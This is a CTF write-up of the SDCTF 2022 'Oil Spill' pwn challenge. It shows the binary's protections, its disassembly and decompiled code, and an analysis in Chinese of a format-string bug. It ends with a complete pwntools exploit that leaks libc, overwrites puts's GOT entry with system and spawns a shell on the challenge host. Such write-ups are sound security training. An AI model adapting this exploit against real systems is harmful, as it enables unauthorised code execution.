SDCTF 2022 Oil Spill
checksec
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了Canary和堆栈不可执行
main
push rbp
.text:000000000040068B mov rbp, rsp
.text:000000000040068E sub rsp, 150h
.text:0000000000400695 mov [rbp+var_144], edi
.text:000000000040069B mov [rbp+var_150], rsi
.text:00000000004006A2 mov rax, fs:28h
.text:00000000004006AB mov [rbp+var_8], rax
.text:00000000004006AF xor eax, eax
.text:00000000004006B1 lea rax, [rbp+s]
.text:00000000004006B8 lea r8, temp
.text:00000000004006BF mov rcx, rax
.text:00000000004006C2 mov rax, cs:printf_ptr
.text:00000000004006C9 mov rdx, rax
.text:00000000004006CC mov rax, cs:puts_ptr
.text:00000000004006D3 mov rsi, rax
.text:00000000004006D6 lea rdi, format ; "%p, %p, %p, %p\n"
.text:00000000004006DD mov eax, 0
.text:00000000004006E2 call printf
.text:00000000004006E7 lea rdi, aOhNoWeSpilledO ; "Oh no! We spilled oil everywhere and it"...
.text:00000000004006EE call puts
.text:00000000004006F3 lea rdi, aDoYouHaveAnyId ; "do you have any ideas of what we can us"...
.text:00000000004006FA call puts
.text:00000000004006FF mov rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400706 mov rdi, rax ; stream
.text:0000000000400709 call _fflush
.text:000000000040070E mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:0000000000400715 lea rax, [rbp+s]
.text:000000000040071C mov esi, 12Ch ; n
.text:0000000000400721 mov rdi, rax ; s
.text:0000000000400724 call _fgets
.text:0000000000400729 lea rax, [rbp+s]
.text:0000000000400730 mov rdi, rax ; format
.text:0000000000400733 mov eax, 0
.text:0000000000400738 call printf
.text:000000000040073D lea rdi, x ; "Interesting Proposition"
.text:0000000000400744 call puts
.text:0000000000400749 mov rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400750 mov rdi, rax ; stream
.text:0000000000400753 call _fflush
.text:0000000000400758 mov eax, 0
.text:000000000040075D mov rcx, [rbp+var_8]
.text:0000000000400761 xor rcx, fs:28h
.text:000000000040076A jz short locret_400771
.text:000000000040076C call ___stack_chk_fail
.text:0000000000400771 ; ---------------------------------------------------------------------------
.text:0000000000400771
.text:0000000000400771 locret_400771: ; CODE XREF: main+E0↑j
.text:0000000000400771 leave
.text:0000000000400772 retn
.text:0000000000400772 ; } // starts at 40068A
.text:0000000000400772 main endp
.text:0000000000400772
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[312]; // [rsp+10h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+148h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("%p, %p, %p, %p\n", &puts, &printf, s, temp);
puts("Oh no! We spilled oil everywhere and its making everything dirty");
puts("do you have any ideas of what we can use to clean it?");
fflush(stdout);
fgets(s, 300, stdin);
printf(s);
puts(x);
fflush(stdout);
return 0;
}
Analyze
程序运行输出puts,printf的地址
0x7f699d578420, 0x7f699d555c90, 0x7ffc3135dea0, 0x400677
Oh no! We spilled oil everywhere and its making everything dirty
do you have any ideas of what we can use to clean it?
由于提示说本题是18.04,所以不需要用LibcSearcher
来找libc~我就是这样的傻X~,只不过如果libc小版本对应不上的话还是需要glibc-all-in-one
接收puts,printf地址后就可以泄露libc基址了
接着程序
fgets(s, 300, stdin);
printf(s);
有format string漏洞,且偏移为8
同时
puts(x);
可以利用fmtstr_payload
将puts的got表地址替换成system,里面的x
替换成b'/bin/sh\x00
{elf.got['puts']:system,0x600c80:b'/bin/sh\x00'}
#fmtstr_payload中需要替换多个值时,用逗号连接,这个是我当时不知道的地方,还搞成dict了
这样当程序执行到puts(x)时实际会执行system("/bin/sh\x00")
,getshell
exp
'''
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
'''
from pwn import *
# from LibcSearcher import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
host = "1.14.71.254"
port = 28620
local = int(input("0 for remote , 1 for local:\t"))
if local == 0:
io = remote(host , port)
elif local == 1:
io = process("/mnt/c/Users/M1sceden4/Desktop/OilSpill")
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/OilSpill")
# libc = ELF("/home/m1sceden4/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so")
libc = elf.libc
data1 = io.recv(14)
io.recvuntil(", ")
data2 = io.recv(14)
io.recvuntil(", ")
data3 = io.recv(14)
io.recvuntil(", ")
data4 = io.recv(8)
success("data1 -> %s" % data1)
success("data2 -> %s" % data2)
success("data3 -> %s" % data3)
success("data4 -> %s" % data4)
# pause()
puts_addr = int(data1 , 16)
# libc = LibcSearcher('puts' , puts_addr)
libc_base = int(data2 , 16) - libc.sym['printf']
# libc_base = libc.dump("puts") - puts_addr
success("leak libc base -> %s" % hex(libc_base))
system = libc_base + libc.sym['system']
# system = libc_base + libc.dump("system")
io.recvuntil("it?\n")
payload = fmtstr_payload(8 , {elf.got['puts']:system,0x600c80:b'/bin/sh\x00'})
io.sendline(payload)
io.interactive()